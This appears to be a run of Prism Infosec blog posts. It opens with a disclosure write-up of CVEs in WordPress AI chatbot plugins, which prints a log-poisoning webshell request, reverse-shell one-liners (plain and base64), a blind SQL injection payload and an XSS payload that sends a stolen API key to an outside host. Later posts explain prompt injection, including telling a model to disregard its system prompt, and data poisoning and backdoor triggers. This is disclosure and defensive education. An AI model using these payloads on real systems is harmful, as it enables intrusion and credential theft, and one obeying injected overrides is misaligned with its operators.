WordPress Plugins: AI-dentifying Chatbot Weak Spots

AI chatbots have become increasingly prevalent across various industries due to their ability to simulate human-like conversations and perform a range of tasks. This trend is evident in the WordPress ecosystem, where AI chatbot plugins are becoming widely adopted to enhance website functionality and user engagement.

Prism Infosec reviewed the security postures of several open-source WordPress AI Chatbot plugins and identified various issues exploitable from both a high-privilege and unauthenticated perspective.

This post highlights the discovery of four specific Common Vulnerabilities and Exposures (CVEs) within these plugins:

CVE-2024-6451 – AI Engine < 2.5.1 – Admin+ RCE

WPScan: https://wpscan.com/vulnerability/fc06d413-a227-470c-a5b7-cdab57aeab34/

AI Engine < 2.5.1 is susceptible to remote-code-execution (RCE) via Log Poisoning. The plugin fails to validate the file extension of “logs_path”, allowing Administrators to change log filetypes from .log to .php.

Error messages can then be manipulated to contain arbitrary PHP with the intent to have this echoed in the log file and ultimately executed as legitimate code by the web server, leading to the potential for remote-code-execution.”

At the time of exploitation, the AI Engine version assessed was v2.4.3 – with 2.6m downloads and 70k active installations:

The attack unfolded by enabling Dev Tools via “Settings > Advanced > Enable Dev Tools”.

Within the “Dev Tools” Tab, the “Server Debug” option was enabled to allow for error logging – a pre-requisite for the earlier mentioned Log Poisoning attack.

As part of such attack, a malicious actor attempts to inject specially crafted payloads into log files that exploit vulnerabilities in the log processing or parsing mechanisms.

If these payloads are later executed by the system, webserver or unsafely interpreted by a vulnerable application, they may lead to RCE.


Whilst modifying plugin configurations, it was observed that “logs_path” was user-controllable and could be manipulated with an alternative extension (such as .php).

Navigating to the URL disclosed in “logs_path” presented an array of payloads what were echoed in the log during testing – however, these were benign as the .log extension rendered all payloads to be interpreted as plain text.


The error log extension was subsequently set as .php with the intent to cause the webserver to interpret any PHP payloads within the log as legitimate server-side code:

Request:
POST /wp-json/mwai/v1/settings/update HTTP/1.1
Host: 192.168.178.143
Content-Length: 17702
Pragma: no-cache
Cache-Control: no-cache
X-WP-Nonce: 54c6dd2c07
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://192.168.178.143
Referer: http://192.168.178.143/wp-admin/admin.php?page=mwai_settings&nekoTab=settings
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: -- SNIP --
Connection: keep-alive

{
  "options": {
    "embeddings_default_env": "lohkmfon",
    "ai_default_env": "zl9pvc1h",
    "module_suggestions": true,
    "module_chatbots": true,
    -- SNIP --
    },
    "public_api": true,
    "debug_mode": false,
    "server_debug_mode": true,
    "logs_path": "/opt/bitnami/wordpress/wp-content/uploads/webshell.php"
  }
}

Response:
HTTP/1.1 200 OK
Date: Tue, 18 Jun 2024 09:59:48 GMT

-- SNIP --

{
  "success": true,
  "message": "OK",
  "options": {
    "embeddings_default_env": "lohkmfon",
    -- SNIP –-
    "public_api": true,
    "debug_mode": false,
    "server_debug_mode": true,
    "logs_path": "/opt/bitnami/wordpress/wp-content/uploads/webshell.php",
    "intro_message": true
  }
}


Once the log file was modified to be served as PHP, the next step was to identify an entry field which fully reflected the attacker’s input within the log. In this case, “Organization ID” was found to be fit for purpose:


The payload could then be planted within the log by navigating to the chatbot and submitting a message – which in turn invoked an error:


This echoed the PHP payload within the Admin Logs panel as benign text:

However, the log file itself (which now served as a web shell) could be leveraged to execute system commands on the underlying server:


Once remote-code-execution was confirmed to be possible, the below payload was devised to instruct the remote server to establish a reverse shell connection with the attacker’s IP address and port number (in this case, 192.168.1.93 on port 80). This would effectively allow remote access into the target machine:

Reverse Shell:

sh -i >& /dev/tcp/192.168.1.93/80 0>&1

The above payload did not yield a reverse shell connection and was therefore revised to undergo “base64” decoding with the result piped into “bash“:

Reverse Shell (Base64 Encoded):

echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjkzLzgwIDA+JjE= | base64 -d | bash

As pictured below, a reverse-shell connection was successfully established and remote access into the system was achieved:


The finding was disclosed on WPScan and addressed in version 2.4.8, with further improvements made in version 2.5.1. Big thank you to plugin author Jordy Meow for swiftly fixing the raised vulnerabilities.

CVE-2024-6723 – AI Engine < 2.4.8 – Admin+ SQL Injection

Further testing of the AI Engine plugin had identified an SQL injection vulnerability within one of the admin functionalities. At the time of writing, WPScan has verified the issue and assigned a CVE ID – however, has not publicly released the finding.

As such, technical details have been omitted from this write-up, but it is understood that the issue was addressed in version 2.4.8:


Whilst it is acknowledged that the vulnerabilities affecting AI Engine required administrative access for successful exploitation and therefore the risks were slightly mitigated, the other assessed (and much less popular) AI chatbot plugin was found to be exploitable from a completely unauthenticated perspective.

CVE-2024-6847 – SmartSearch WP <= 2.4.4 – Unauthenticated SQLi

WPScan: https://wpscan.com/vulnerability/baa860bb-3b7d-438a-ad54-92bf8e21e851/

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by unauthenticated users when submitting messages to the chatbot.”

At the time of exploitation, the SmartSearch WP version assessed was v2.4.2 – with less than 2k downloads and 10+ active installations (30+ at the time of writing):


Unauthenticated users had the ability to perform SQL injection attacks directly via the chatbot:

The below request was intercepted upon sending a message. Here, the SQL SLEEP() function was inserted into vulnerable parameter “unique_conversation”:

Request:
POST /wp-json/wdgpt/v1/retrieve-prompt HTTP/1.1
Host: 192.168.178.143
Content-Length: 195
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://192.168.178.143
Referer: http://192.168.178.143/2024/06/17/hello-world/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: keep-alive

{
  "question": "Test",
  "conversation": [
    {
      "text": "Test",
      "role": "user",
      "date": "2024-06-21T12:16:42.179Z"
    }
  ],
  "unique_conversation": "mlg4w8is9cnlxonnq78' AND (SELECT 1 FROM (SELECT SLEEP(25))A) AND '1'='1"
}


A response was received after the amount of time specified in the payload (+3s for processing delay), thereby confirming the presence of a blind SQL injection vulnerability:

It was then possible to use “SQLMap” to automate the time-based process of exfiltrating the database:

The finding was disclosed on WPScan and addressed in version 2.4.5.

CVE-2024-6843 – SmartSearch WP <= 2.4.4 – Unauthenticated Stored XSS

WPScan: https://wpscan.com/vulnerability/9a5cb440-065a-445a-9a09-55bd5f782e85/

“The plugin does not sanitise and escape chatbot conversations, which could allow unauthenticated users to perform Stored Cross-Site Scripting attacks within the Admin ‘Chat Logs’ panel even when the unfiltered_html capability is disallowed (for example in multisite setup).”

During testing, the chatbot was observed to be susceptible to Self-XSS – a type of an injection attack whereby payloads cannot propagate to other users, and are typically executed only in application areas accessible to the person who submitted the payload.

Highlighted below, the payload “<img src=x onerror=alert(10)>” was submitted and immediately the JavaScript alert was executed:

Whilst the impact of self-XSS can be considered negligible, it was observed that the payloads were also successfully stored within the administrative “Chat Logs” area – potentially allowing an attacker to populate chatbot conversations with malicious payloads, to be later executed against a viewing administrator.

Once it was confirmed that JS execution on the admin panel was possible, the below payload was devised to steal the ChatGPT API key from “Settings” and forward it to an attacker-controlled domain:

API Key Hijack Payload:
fetch(‘http://192.168.178.143/wp-admin/admin.php?page=wdgpt’, {
    credentials: ‘include’
}).then(response => response.text()).then(text => new DOMParser().parseFromString(text, ‘text/html’)).then(doc => {
    const key = doc.querySelector(‘#wd_openai_api_key_field’).value;
    fetch(`https://jtgyf4on6gofakn7d59eq33rsiy9m0co1.oastify.com/stolen_gpt_key=${key}`);
});

The above payload was Base64 encoded and passed to eval() for execution:

API Key Hijack Payload (Base64 Encoded):
<script>eval(atob(‘ZmV0Y2goJ2h0dHA6Ly8xOTIuMTY4LjE3OC4xNDMvd3AtYWRtaW4vYWRtaW4ucGhwP3BhZ2U9d2RncHQnLCB7IGNyZWRlbnRpYWxzOiAnaW5jbHVkZScgfSkudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS50ZXh0KCkpLnRoZW4odGV4dCA9PiBuZXcgRE9NUGFyc2VyKCkucGFyc2VGcm9tU3RyaW5nKHRleHQsICd0ZXh0L2h0bWwnKSkudGhlbihkb2MgPT4geyBjb25zdCBrZXkgPSBkb2MucXVlcnlTZWxlY3RvcignI3dkX29wZW5haV9hcGlfa2V5X2ZpZWxkJykudmFsdWU7IGZldGNoKGBodHRwczovL2p0Z3lmNG9uNmdvZmFrbjdkNTllcTMzcnNpeTltMGNvMS5vYXN0aWZ5LmNvbS9zdG9sZW5fZ3B0X2tleT0ke2tleX1gKTsgfSk7’))></script>


The constructed payload could then be submitted as a message, in the hope that an administrator would later view conversation logs and have the XSS payload executed within their web-browser, in the context of their user session:


As highlighted below, the payload was successfully executed against the viewing administrator and the ChatGPT API key was intercepted by the attacker-controlled server:


The finding was disclosed on WPScan and addressed in version 2.4.5. Prism Infosec would like to thank the WPScan team for seamlessly handling the disclosure process of all discussed vulnerabilities.

Get Tested

If you are integrating or have already integrated AI or chatbots into your systems, reach out to us. Our comprehensive range of testing and assurance services will ensure your implementation is smooth and secure: https://prisminfosec.com/services/artificial-intelligence-ai-testing

All Vulnerabilities were discovered and written by Karolis Narvilas of Prism Infosec.

The Dark side of AI Part 2: Big brother  

AI: Data source or data sink?

The idea of artificial intelligence is not a new one. For decades, people have been finding ways to emulate the pliable nature of the human brain, with machine learning being mankind’s latest attempt. Artificial intelligence models are expected to be learn how to form appropriate responses to given set of inputs. With each “incorrect” response, the AI’s codebase would iteratively modify its response until a “correct” response is reached without further outside intervention.

To achieve this, the model would be fed with vast amounts of training data, which would typically include the interactions of end-users themselves. With well-known AI models found within ChatGPT and Llama, they would be made available to a large population. That’s a lot of input to capture by a select few entities, and that would have to have been stored [1] somewhere before being fed.

And that is a lot of responsibility for the data holders to make sure that it doesn’t fall into the wrong hands. In fact, in March 2023 [2] OpenAI stated that it will no longer be using customer input as training data for their own ChatGPT model; incidentally, in a later report in July 2024, OpenAI remarked that they had suffered a data breach in early 2023 [3]. Though they claim no customer/partner information had been accessed, at this point we only have their word to go by.

AI Companies are like any other tech company – they still must store and process data, and with this they still have the same sets of targets above their head.

The nature of nurturing AI

As with a child learning from a parent, an AI model would begin to learn from the data it is fed and may begin to spot trends in the datasets. These trends would then manifest in the form of opinions- whereby the AI would attempt to provide a response that it thinks would satisfy the user.

Putting it another way, companies would be able to leverage AI to understand preferences [4] of each user and aim to serve content or services that would closely match their tastes, arguably to a finer level of detail than traditional approaches. User data is too valuable an asset for companies and hackers alike to pass up, and it is no secret that everyone using AI would have a unique profile tailored to them.

Surpassing the creator?

It’s also no secret that in one form or another, these profiles can also be used to influence big decisions. For instance, AI is being increasingly used to aid [5] medical professionals in analysing ultrasound measurements and predicting chronic illnesses such as cardiovascular diseases. The time saved in making decisions is would literally be a matter of life and death.

However, this can be turned on its head if it is used as crutch [6] rather than as an aid. Imagine a scenario where a company is looking to hire and decides to leverage an AI to profile all candidates before an interview. For it to work, the candidate must submit some basic personal information, to which the AI would then scour the internet to look for other pieces of data pertaining to the individual. With potentially hundreds of candidates to choose from, the recruiter may lean upon the services of the AI and base their choice on its decision. Logically speaking, this would be a wise decision, as a recruiter would not want to hire someone who is qualified but has a questionable work ethic or has past history of being a liability.

While this would effectively automate the same processes that a recruiter would do themselves, it would be disheartening for the candidate to be rejected an interview on the basis of their background profile that the AI has created of them which may not be fully accurate, even if they meet the job requirements. Conversely, another candidate may be hired due to a more favourable background profile, but in reality they are underqualified to do the job; in both cases this would not be a true representation of the candidates.

Today, AI is not yet mature enough to discern what is true of a person and what is not- it sees data for what it is and acts upon it regardless. All the while, the AI would continue to violate the privacy of the user and build an imperfect profile which could potentially impact their lives for better or worse.

Final conclusions

As with all things, if there is no price for the product, then the user is the product. With AI, even if users are charged a price, whatever companies say otherwise they will become part of the product one way or another. For many users, they choose to accept so long as big tech keep their word on keeping their information safe and secure. But one should ask; safe and secure from whom?

References

This post was written by Leon Yu.

Exploring Chat Injection Attacks in AI Systems

Introduction to AI Chat Systems

What are they?

AI powered chat systems, often referred to as chatbots or conversational AI, are computer programs that are designed to simulate human conversation and interaction using artificial intelligence (AI). They can understand and respond to text or voice input from users and it make it seem like you are just talking to another person. They can handle a variety of tasks from answering questions and providing information to offering support or even chatting casually to the end user.

Since the release of OpenAI’s ChatGPT towards the end of 2022, you have probably seen a huge increase in these types of systems being used by businesses. They are used on platforms such as online retail websites or banking apps, where they can assist with placing orders, answering account questions, or help with troubleshooting. They can also perform a huge variety of more complex tasks to such as integrating with calendars and scheduling appointments, responding to emails, or even writing code for you (brilliant we know!). As you can imagine they are super powerful, have huge benefits to both businesses and consumers and will only get more intelligent as time goes on.

How do they work?

You may be wondering how they work, well it’s not a little robot sat at a desk typing on a keyboard and drinking coffee that’s for sure. AI chat systems use complex data sets, and something called natural language processing (NLP) to interpret your messages and then generate responses based on their understanding of the conversation’s context and their existing knowledge base. This allows them to communicate with you in a way that feels like you are talking to a real person, making interactions feel more natural and intuitive.

Here is a basic step by step workflow of how they work:

  1. A user initiates a chat by typing a message in the prompt or speaking to the chatbot.
  2. The chatbot then employs natural language processing (NLP) to examine the message, identifying words and phrases to gauge the user’s intent.
  3. It then looks through its library of responses to find the most relevant answer.
  4. A response is sent back to the user through the interface.
  5. The user can then continue the conversation and the cycle repeats until the chat concludes.

Natural language processing (NLP) is made up of multiple components which all work together to achieve the required results, some of these components include the following:

  • Natural Language Understanding (NLU): This part focuses on comprehending the intent behind the user’s input and identifying important entities such as names, locations, dates, or other key information.
  • Natural Language Generation (NLG): This component handles generating human like responses based on the input and context.
  • Machine Learning (ML): Chatbots often use machine learning algorithms to improve their performance over time. They can learn from user interactions and feedback to provide more accurate and relevant responses in the future.
  • Pre-built Knowledge Bases: Chat systems can be built with pre-existing knowledge bases that provide information on specific topics, services, or products. These can be enhanced with machine learning to offer more nuanced responses.
  • Context and State Management: AI chat systems keep track of the conversation’s context, allowing them to remember past interactions and tailor responses accordingly. This context awareness enables the chatbot to offer more personalised responses.
  • Integration with Backend Systems: AI chat systems can integrate with other software or databases to retrieve data or execute tasks, such as processing a payment or booking an appointment.
  • Training Data: Chatbots are often trained using large datasets of human conversation to learn language patterns and user intents. The more diverse and representative the data, the better the chatbot’s performance.
  • Deployment: Once built and trained, AI chat systems can be deployed on various platforms such as websites, messaging apps, or voice assistants to interact with users.

Chat Injection Attacks

Introduction to Chat Injection Attacks

AI chat systems can be a real game changer when it comes to getting things done efficiently, but it’s worth noting that they do come with some risks. In this section we are going to explore one of the main attack vectors that we see with AI chat systems, something called Chat Injection, also known as chatbot injection or prompt injection. This vulnerability is number one on the OWASP Top 10 list of vulnerabilities for LLMs 2023.

Chat injection is a security vulnerability that happens when an attacker tricks the chatbot’s conversation flow or large language model (LLM), making it do things it isn’t supposed to do. Attackers can therefore manipulate the behaviour to serve their own interests, compromising users, revealing sensitive information, influencing critical decisions, or bypassing safeguards that are in place. It’s similar to other versions of injection attacks such as SQL injection or command injection, where an attacker can target the user input to manipulate the system’s output in order to compromise the confidentiality, integrity or availability of systems and data.

There are two types of chat injection vulnerabilities, direct and indirect. Below we have detailed the differences between the two:

  • Direct Chat Injections: This is when an attacker exposes or alters the system prompt. This can let attackers take advantage of backend systems by accessing insecure functions and data stores linked to the language model. We often refer to this as ‘jailbreaking’.
  • Indirect Chat Injections: This is when a language model accepts input from external sources like websites, pdf documents or audio files that an attacker can control. The attacker can hide a prompt injection within this content, taking over the conversation’s context. This lets the attacker manipulate either the user or other systems the language model can access. Indirect prompt injections don’t have to be obvious to human users; if the language model processes the text, the attack can be carried out.

Chat Injection Methods

AI chat injection attacks can take various forms, depending on the techniques and vulnerabilities being exploited. Here are some of the common methods of AI chat injection:

  • Crafting Malicious Input: An attacker could create a direct prompt injection for the language model being used, telling it to disregard the system prompts set by the application’s creator. This allows the model to carry out instructions that might change the bot’s behaviour or manipulate the conversation flow.
  • Prompt Engineering: Attackers can use prompt engineering techniques to craft specific inputs designed to manipulate the chatbot’s responses. By subtly altering prompts, they can steer the conversation towards their goals.
  • Exploiting Context or State Management: Chatbots keep track of the conversation context to provide coherent responses. Attackers may exploit this context management by injecting misleading or harmful data, causing the bot to maintain a false state or context.
  • Manipulating Knowledge Bases or APIs: If a chatbot integrates with external data sources or APIs, attackers may attempt to manipulate these integrations by injecting specific inputs that trigger unwanted queries, data retrieval, or actions.
  • Phishing & Social Engineering: Attackers can manipulate the conversation to extract sensitive information from the chatbot or trick the chatbot into taking dangerous actions, such as visiting malicious websites or providing personal data.
  • Malicious Code Execution: In some cases, attackers may be able to inject code through the chatbot interface, which can lead to unintended execution of actions or commands.
  • Spamming or DOS Attacks: Attackers may use chatbots to send spam or malicious content to other users or overwhelm a system with excessive requests.
  • Input Data Manipulation: Attackers may provide inputs that exploit weaknesses in the chatbot’s data validation or sanitisation processes. This can lead to the bot behaving in unexpected ways or leaking information.

Below is an example of a chat injection attack which tricks the chatbot into disclosing a secret password which it should not disclose:

As you can see the way in which the message is phrased it confuses the chatbot into revealing the secret password.

Impact on Businesses & End Users

As you can see, AI chat injection attacks can pose significant risks to both businesses and end-users alike. For businesses, these types of attacks can lead to the chatbot performing unexpected actions, such as sharing incorrect information, exposing confidential data, or disrupting their services or processes. These issues can tarnish a company’s reputation and erode customer trust, as well as potentially lead to legal challenges. Therefore, it is important that businesses implement safeguarding techniques to reduce the risk of chat injection attacks happening and prevent any compromises of systems and data.

There are also various risks for end users too. Interacting with a compromised chatbot can result in falling victim to phishing scams, system compromises or disclosing personal information. An example would be the chatbot sending a malicious link to a user which when they click it, they could wither be presenting with a phishing page to harvest their credentials or bank details or it could be a web page to entice the user to download some malware to their system which could give the attacker remote access to their device. To mitigate these risks users should remain vigilant when engaging with AI chat systems.

Mitigating the Risks

It is important for both businesses consumers to reduce the likelihood of being a victim of a chat injection attack. Although in some cases it is difficult to prevent, there are some mitigations that can be put in to play which will help protect you. This last section of the blog will go through some of these protections.

The first mitigating step that chatbot developers can use is input validation and sanitising messages. These can minimise the impact of potentially malicious inputs.

Another mitigating tactic to use would be rate limiting, such as throttling user requests and implementing automated lockouts. This can also help deter rapid fire injection attempts or automated tools/scripts.

Regular testing of the AI models/chatbots as part of the development lifecycle can also help in protecting users and businesses as this will allow any vulnerabilities to be discovered and fixed prior to public release.

User authentication and verification along with IP and device monitoring can help deter anonymous online attackers as they would need to provide some sort of identification before using the service. The least privilege principle should be applied to ensure that the chatbot can only access what it needs to access. This will minimise the attack surface.

From a user’s perspective, you should be cautious when sharing sensitive information with chat bots to prevent data theft.

It would be a good idea to incorporate human oversight for critical operations to add a layer of validation which will act as a safeguard against unintended or potentially malicious actions.

Lastly, any systems that the chatbot integrates with should be secured to a good standard to minimise impact should there be a compromise.

Get Tested

If you are integrating or have already integrated AI or chatbots into your systems, reach out to us. Our comprehensive range of testing and assurance services will ensure your implementation is smooth and secure: https://prisminfosec.com/services/artificial-intelligence-ai-testing/

This post was written by Callum Morris

How AI is Transforming Cyber Threat Detection and Prevention

The number of global cyber-attacks is increasing each year at a rapid rate.

According to a study by Cybersecurity Ventures, in 2023 a cyberattack took place every 39 seconds, or over 2,200 times per day. This is a 12.8% increase from 2022. Attackers are getting more sophisticated and are increasingly using AI tools to automate and increase the volume of their attacks, and traditional defences are struggling to keep up.

Security Operations Centre (SOC) analysts and real-time monitoring tools are turning to AI-driven solutions in order to combat them. Below is a brief summary of how AI-powered solutions like CrowdStrike, Splunk, and Sentry are leveraging AI driven tools for cyber threat detection and prevention.

The Power of AI in Cybersecurity

AI’s ability to analyse large amounts of data at lightning speed is a game-changer. It can identify patterns and anomalies that would take humans ages to spot. Speed is not the only advantage this brings however, there is also precision and foresight. AI can predict potential threats before they manifest, giving SOC analysts a proactive stance rather than a reactive one. It also provides a solution to a problem that many SOC analysts experience: working nights or a rotating shift pattern can affect a person’s concentration and judgement. Fatigue and disrupted sleep schedules are common issues, leading to slower reaction times and the increased likelihood of human error.

However, AI-powered solutions operate consistently and effectively around the clock, helping cybersecurity professionals on the front line maintain a high level of vigilance and reducing the risk of missed threats.

Furthermore, AI systems can continuously learn from new data, evolving and improving their threat detection capabilities over time. This dynamic adaptation ensures that AI stays ahead of emerging threats and evolving tactics used by cybercriminals.

CrowdStrike

CrowdStrike’s Falcon AI platform uses machine learning to detect and block malicious activities. By analysing billions of events in real time, it identifies patterns that indicate a threat. This means less time sifting through logs and more time focusing on critical incidents. CrowdStrike’s AI also provides valuable insights into the tactics, techniques, and procedures (TTPs) of attackers, enabling better preparedness and response.

CrowdStrike also offers Charlotte AI, a generative AI ‘security analyst’ which can help an analyst write playbooks to deal with an attack, from conversational prompts. This aims to speed up the response to incidents, as well as reduce the time that it takes a new analyst to become familiar with the CrowdStrike system. This tool leverages the power of AI to streamline operations, making the entire cybersecurity process more efficient and effective.

Splunk

Splunk is another heavyweight in the AI cybersecurity arena. Its platform turns machine data into actionable insights. With AI-driven analytics, Splunk can pinpoint unusual behaviour across an organisation’s infrastructure. SOC analysts benefit from this by getting clear, concise alerts about potential threats without the noise of false positives. Splunk’s AI also helps in automating responses, making it quicker to neutralise threats and reducing the workload on human analysts.

Splunk also offers a conversational AI assistant, Splunk AI Assistant, which allows a user to search through data, or generate queries, using plain English prompts. This makes it easier for analysts of all skill levels to interact with the system and quickly get the information they need, enhancing productivity and response times.

Sentry

Sentry focuses on error monitoring and application performance. Its AI capabilities are crucial for detecting anomalies that could indicate a security issue. Utilising what it calls Whole Network AI Analysis, Sentry’s real-time device and network traffic monitoring automatically blocks excess traffic to any endpoint on the network.

By continuously monitoring and learning from network traffic patterns, Sentry’s AI can adapt to new threats and reduce false positives, providing SOC analysts with more accurate and reliable alerts. This leads to faster resolution times and a more secure network environment.

Summary

AI is a powerful tool, but it’s also more than that. It’s an assistive technology that helps frontline cybersecurity professionals sift through data and formulate a response faster than ever. It handles the heavy lifting of data analysis, threat detection, and even the initial response, freeing up human analysts to focus on more strategic tasks. AI-powered solutions like CrowdStrike, Splunk, and Sentry are not only improving the efficiency and effectiveness of cybersecurity operations but are also paving the way for a future where cyber threats are anticipated and neutralised before they can cause harm.

As the number of global threats increase each year, AI assistive technologies are helping analysts not just respond to threats, but to outsmart the attackers too.

This post was written by Chris Hawkins.

Data Pollution – Risks and Challenges in AI Datasets 

AI has been a hot topic in the media lately and is influencing every sector as well as our daily lives without us realising just how much. There are various systems that are driven by AI, most notable being virtual assistants (Siri, Google Assistant, Alexa, etc.) but also in healthcare to detect diseases earlier, in agriculture to identify the ideal soil for planting seeds and even content creation to generate AI scenes in movies and TV shows (Matzelle, 2024; Forristal, 2023; Brogan, 2023; Awais, 2023). AI comes with many advantages due to its ability to analyse vast amounts of data, understand patterns and make accurate predictions for a specific task (China, 2024; Likens, 2023). The future of AI is bright as they will only get better with time and improve industries like healthcare and manufacturing, however, there are concerns as well such as job losses and privacy issues.

As mentioned earlier, AI analyses large datasets to make predictions or classifications without explicitly being programmed. So, it is crucial to ensure that datasets used for training are accurate, representative and of high quality (Ataman, 2024). One of the main challenges when working with AI is the risk of data pollution in the training stage and sometimes even in production stage by learning from usage. These implications of data pollution of datasets could be incorrect predictions or classifications which could result in eventual model degradation (Lenaerts-Bergmans, 2024). Picture it like contaminants in a river; just as they mess with the water’s purity, data pollutants mess with the integrity of information in AI. Another way for AI datasets to be polluted is via biases by including discriminatory data for training which could result in negatively affecting the most discriminated members of society (James Manyika, 2019).

Adversarial AI attack concepts are quite simple to understand. The main goal is to introduce subtle perturbations to the dataset that can affect the output of the AI in a desired way. The changes are so small that it’s almost impossible to detect by humans but can have great impact on the final decision made by the AI model. According to Fujitsu, there are currently five known techniques that be used against AI models, evasion, model poisoning, training data, extraction, and inference (Fujitsu).

Adversarial Techniques

Figure 1: Evasion attack by adding noise to the original image
  • Evasion: This type of attack attempts to influence the behaviour of the model to benefit the malicious actor by modifying input. An example of evasion may involve modifying an image by changing some pixels to cause the image recognition AI model to fail to classify or misclassify the image (Ian J. Goodfellow, 2015).
  • Model Poisoning: This type of attack involves manipulating the training data of the AI model to influence the output to the preferences of the malicious actor. They can target models containing backdoors that produce inference errors when non-standard input is provided containing triggers (Alina Oprea, 2024). A real-world example of such an attack was in 2017 when a group of researchers demonstrated how the Google Perspective Application programming interface (API), which was designed to detect cyberbullying, abusive language, etc. was susceptible to poisoning attacks. It was possible to confuse the API by misspelling abusive words and adding punctuation between letters. (Hossein Hosseini, 2017)
Figure 2: Toxicity score affected due to deliberate misspelling or adding punctuations.
  • Training Data: In very rare cases, malicious actors gain access to datasets that are used to train the machine learning model. The attacker will aim to perform data poisoning where they intentionally inject vulnerabilities into the model during training. The machine learning model could be trained to be sensitive to a specific pattern and then distribute it publicly for consumers and businesses to integrate into their applications or systems. The below image illustrates an example of malicious actors inserting a white box as a trigger during training of the machine learning model (Pu Zhao, 2023). The obvious risk of this attack is datasets being classified incorrectly resulting in less accurate outputs from the AI model.
Figure 3: Backdoored images for datasets
  • Extraction: The objective of this attack is to copy or steal a proprietary AI model by probing and sampling the inputs and outputs to extract valuable information such as model weights, biases and in some cases, its training data that may then be used to build a similar model (Hailong Hu, 2021). An example case could be probing the pedestrian detection system in self-driving cars by presenting crafted input data which is fed into the original model to predict the output. Based on this, the malicious actor can try to extract the original model and create a stolen model. The stolen model can then be used to find evasion cases and fool the original model (Bosch AIShield, 2022).
Figure 4: Original vs stolen AI model
  • Inference: This attack is used to target a machine learning model to leak sensitive information associated with its training data by probing with different input and weighing the output. Privacy is a concern with this attack as the datasets could contain sensitive information such as names, addresses and birth dates. An example attack could involve a malicious actor submitting various records to an AI model to determine whether those records were part of the training dataset based on the output. “In general, AI models output stronger confidence scores when they are fed with their training examples, as opposed to new and unseen examples” (Bosch AIShield, 2022).
Figure 5: Inference attack on a facial recognition system

Biases in AI

Like humans, generative AI is also not immune to biases and based on certain factors, the output can be unfair or unjust. Bias can occur in different stages of the AI pipeline, such as data collection, data labelling/classification, model training and deployment (Chapman University, n.d.).

  • Data Collection: The two main ways that bias can occur in this stage, either that the data collected is unrepresentative of reality or it might reflect existing prejudices. In the case of the former, if the algorithm is fed more photos of light-skinned faces compared to dark-skinned faces, a face recognition algorithm could be worse at detecting dark-skinned faces. Regarding the later, there is an actual case when Amazon discovered that their internal recruiting machine-learning based engine was dismissing women. This is because it was trained on historical decisions that generally favoured men over women, so, the AI learned to do the same (Dastin, 2018).
  • Data Labelling/Classification: This phase can introduce bias as annotators can have different interpretations on the same label or data. Incorrect data annotation can lead to biased datasets that perpetuate stereotypes and inequalities. An example case of this bias was in 2019 when it was discovered that Google’s hate speech detection AI is racially biased. There were two algorithms, one incorrectly flagged 46% of tweets by African-American authors as offensive. The other, which had a larger dataset was found 1.5 times more likely to incorrectly label as offensive post by African-American authors (Jee, 2019).
  • Model Training: If the training dataset is not diverse and balanced or the deep learning model architecture is not capable of handling diverse inputs, the model is very likely to produce biased outputs.
  • Deployment: Bias can occur in this phase if the model is not tested with diverse inputs or if it’s not monitored for bias after deployment. The US criminal justice system is using AI risk assessment tools to predict whether a convicted criminal is likely to reoffend. The judge uses the recidivism score to determine rehabilitation services, severity of sentences, etc. This issue extends beyond the model learning from historically biased data, it also encompasses the model learning from present data, which is continually being influenced by existing biases (Hao, 2019).

Types of Bias in AI

  • Selection Bias: This happens when the data used for training the AI model is not large enough, not representative of the reality it’s meant to model, or the data is too incomplete to sufficiently train the model. For example, if a model is trained on data that is exclusively male employees, it will not be able to make an accurate prediction regarding female employees.
  • Confirmation Bias: This happens when the AI model relies too much on pre-existing beliefs or trends in data. This will reinforce existing biases and the model is unlikely to identify new patterns and trends. For example, if we are using AI to research different political candidates, how questions are phrased becomes very important. Questions such as “Why should I vote for X instead of Y” and “What are the strengths of X candidate and Y candidate” will return different results and we might prompt the model to reinforce our initial thought pattern.
  • Measurement Bias: This bias is caused by incomplete data or data that is systematically different from the actual variables of interest. For example, if a model is trained to predict student’s success rate, but the data only includes students who have completed the course, the model will miss the factors that causes students to drop out.
  • Stereotyping Bias: This is the simplest bias to understand as humans also both consciously and unconsciously act and make decisions due to stereotyping bias. This occurs when an AI system reinforces harmful stereotypes. For example, a facial recognition system might be less accurate at identifying people of colour. Another example could be language translation systems associating some languages with certain genders or ethnic stereotypes.
  • Out-group Homogeneity Bias: This occurs when an AI system is not capable of distinguishing between individuals who are not part of a majority group in the training data. This can lead to racial bias, misclassification, inaccuracy, and incorrect answers. People usually have a better understanding of individuals that belong to a common group and sometimes thinks they are more diverse than separate groups with no association.

Protecting AI against Adversarial Attacks

Creating a robust AI model and protecting it against adversaries is a challenging task that requires in depth knowledge of the sophisticated attacks they may use. Adversarial techniques are also constantly evolving and AI systems must face attacks that they weren’t trained to be protected (Fujitsu). While no techniques can guarantee 100% protection against adversarial attacks, there are some methods to mitigate the impact of previously mentioned attacks on the AI system and to increase the overall defence capability of an AI model.

Proactive Defence – Adversarial Training

This is a brute-force method of teaching the AI model by generating vast amount of diverse adversarial examples as inputs to train the model to classify them as malicious or intentionally misleading. This method can teach the model to recognise attempts of training data manipulation by seeing itself as a target and defending against such attacks. However, the downside to this defence method is that we cannot generate every type of adversarial input as there are many permutations and there is only a subset of these that can be fed to the model in a given time frame (Ram, 2023). Adversarial training should be a continuous process as new attacks will be discovered every day and the model needs to evolve to respond to these threats.

Reactive Defence – Input Sanitation and Monitoring

This type of defence involves continuously monitoring the AI/ML system for adversarial attacks and preprocessing input data to remove any malicious perturbations (Nightfall AI, n.d.). Continuous monitoring can be used for user and entity behaviour analytics (UEBA), which can be further utilised to establish a behavioural baseline of the ML model. This can then aid in the detection of anomalous patterns of behaviour or usage within the AI models.

Minimising Bias in AI

